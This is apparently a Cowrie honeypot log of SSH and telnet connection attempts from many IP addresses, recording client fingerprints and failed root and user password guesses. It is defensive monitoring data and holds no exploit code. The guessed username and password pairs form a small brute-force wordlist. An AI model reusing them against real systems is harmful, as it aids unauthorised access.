{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:48.308623Z","src_ip":"103.189.234.9","session":"f833862d0f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:49.416482Z","src_ip":"121.168.139.251","session":"a1590ee53881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:49.537867Z","src_ip":"103.189.234.9","session":"f833862d0f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.29.4.79","src_port":57718,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd5f389b2481","protocol":"ssh","message":"New connection: 121.29.4.79:57718 (159.203.135.109:22) [session: dd5f389b2481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:07.028306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:07.045298Z","src_ip":"121.29.4.79","session":"dd5f389b2481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:07.397124Z","src_ip":"121.29.4.79","session":"dd5f389b2481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:08.850818Z","src_ip":"121.29.4.79","session":"dd5f389b2481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:10.204637Z","src_ip":"121.29.4.79","session":"dd5f389b2481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47170,"dst_ip":"10.17.0.5","dst_port":22,"session":"2db7d92be1e8","protocol":"ssh","message":"New connection: 103.27.238.114:47170 (10.17.0.5:22) [session: 2db7d92be1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:23.795671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:23.799907Z","src_ip":"103.27.238.114","session":"2db7d92be1e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:24.068373Z","src_ip":"103.27.238.114","session":"2db7d92be1e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sommer","message":"login attempt [root/sommer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:24.874227Z","src_ip":"103.27.238.114","session":"2db7d92be1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:26.145847Z","src_ip":"103.27.238.114","session":"2db7d92be1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.246","src_port":47718,"dst_ip":"159.203.135.109","dst_port":22,"session":"1458ea5bd617","protocol":"ssh","message":"New connection: 196.92.7.246:47718 (159.203.135.109:22) [session: 1458ea5bd617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:31.067455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:31.074671Z","src_ip":"196.92.7.246","session":"1458ea5bd617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:31.206413Z","src_ip":"196.92.7.246","session":"1458ea5bd617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:31.761495Z","src_ip":"196.92.7.246","session":"1458ea5bd617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:39:32.896383Z","src_ip":"196.92.7.246","session":"1458ea5bd617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":2080,"dst_ip":"10.17.0.5","dst_port":22,"session":"06f48b8ca10b","protocol":"ssh","message":"New connection: 38.93.206.2:2080 (10.17.0.5:22) [session: 06f48b8ca10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:06.332316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:06.337576Z","src_ip":"38.93.206.2","session":"06f48b8ca10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:06.390069Z","src_ip":"38.93.206.2","session":"06f48b8ca10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bvkmosrus2010","message":"login attempt [root/bvkmosrus2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:06.546363Z","src_ip":"38.93.206.2","session":"06f48b8ca10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:07.615200Z","src_ip":"38.93.206.2","session":"06f48b8ca10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":32938,"dst_ip":"10.17.0.5","dst_port":22,"session":"26020d1dd753","protocol":"ssh","message":"New connection: 103.189.234.9:32938 (10.17.0.5:22) [session: 26020d1dd753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:23.455231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:23.464225Z","src_ip":"103.189.234.9","session":"26020d1dd753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:23.702084Z","src_ip":"103.189.234.9","session":"26020d1dd753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.1.67","src_port":59338,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a20e104f29e","protocol":"telnet","message":"New connection: 159.223.1.67:59338 (10.17.0.5:23) [session: 0a20e104f29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:24.588829Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kk112233","message":"login attempt [root/kk112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:24.685470Z","src_ip":"103.189.234.9","session":"26020d1dd753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:25.928371Z","src_ip":"103.189.234.9","session":"26020d1dd753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.2729012966156006,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:27.861617Z","src_ip":"159.223.1.67","session":"0a20e104f29e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":49800,"dst_ip":"159.203.135.109","dst_port":22,"session":"905f63442ae7","protocol":"ssh","message":"New connection: 20.87.219.67:49800 (159.203.135.109:22) [session: 905f63442ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:36.847716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:36.852895Z","src_ip":"20.87.219.67","session":"905f63442ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:37.086061Z","src_ip":"20.87.219.67","session":"905f63442ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluto","message":"login attempt [root/pluto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:38.048725Z","src_ip":"20.87.219.67","session":"905f63442ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:39.284485Z","src_ip":"20.87.219.67","session":"905f63442ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55592,"dst_ip":"159.203.135.109","dst_port":22,"session":"48c11b3b96eb","protocol":"ssh","message":"New connection: 80.66.85.226:55592 (159.203.135.109:22) [session: 48c11b3b96eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:41.545181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:41.549289Z","src_ip":"80.66.85.226","session":"48c11b3b96eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:41.636684Z","src_ip":"80.66.85.226","session":"48c11b3b96eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101989","message":"login attempt [root/10101989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:41.900532Z","src_ip":"80.66.85.226","session":"48c11b3b96eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:42.992241Z","src_ip":"80.66.85.226","session":"48c11b3b96eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":54620,"dst_ip":"159.203.135.109","dst_port":22,"session":"92cdfa999e92","protocol":"ssh","message":"New connection: 31.59.89.180:54620 (159.203.135.109:22) [session: 92cdfa999e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:47.207904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:47.212725Z","src_ip":"31.59.89.180","session":"92cdfa999e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:47.315995Z","src_ip":"31.59.89.180","session":"92cdfa999e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Aa123456","message":"login attempt [root/@Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:47.760115Z","src_ip":"31.59.89.180","session":"92cdfa999e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:40:48.866903Z","src_ip":"31.59.89.180","session":"92cdfa999e92","protocol":"ssh"}
